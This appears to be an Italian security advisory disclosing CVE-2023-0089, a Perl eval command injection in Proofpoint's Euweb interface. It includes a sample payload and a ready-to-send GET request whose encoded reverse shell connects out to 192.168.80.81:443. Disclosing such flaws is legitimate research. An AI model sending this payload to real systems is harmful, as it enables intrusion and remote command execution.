
Proofpoint Email Gateway: da utente autenticato di basso livello a RCE con privilegi di amministratore
Ricercatore di sicurezza: ly1g3, ly1g3[at]tuta.io
Impronta GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Panoramica: Esecuzione remota di codice - da utente autenticato di basso livello a RCE con privilegi di amministratore
CVE: CVE-2023-0089
Cronologia:
Exploit per Proofpoint Messaging Security Gateway
Un utente di basso livello (autenticato) di Euweb può ottenere l'esecuzione arbitraria di codice con privilegi di amministratore.
La funzione getMsgType in Euwebutils.pm è vulnerabile all'iniezione di comandi. La variabile $module proviene da un parametro GET e non viene applicata alcuna sanitizzazione a questo input utente.
sub getMsgType {
...
else {
$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
}
Questa funzione getMsgType è utilizzata da molte chiamate API impiegate dall'applicazione Euweb, quindi l'exploit può essere attivato in molti modi.
Poiché tutti i caratteri devono essere maiuscoli, si possono usare le variabili d'ambiente per aggirare questa restrizione per le lettere minuscole. Esempio: ${SHELL:1:1} invece di b
Poiché viene usato use strict, MAIL_GENERAL() può essere aggiunto all'inizio della stringa per completare PROOFPOINT_MAIL_REPORT_MSGTYPE_. Dopo di che può essere aggiunto codice Perl personalizzato.
Esempio di payload non codificato: MAIL_GENERAL();`id`
Reverse shell codificata usando variabili d'ambiente per aggirare le restrizioni sulle lettere minuscole. Codice eseguito come utente pps.
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261`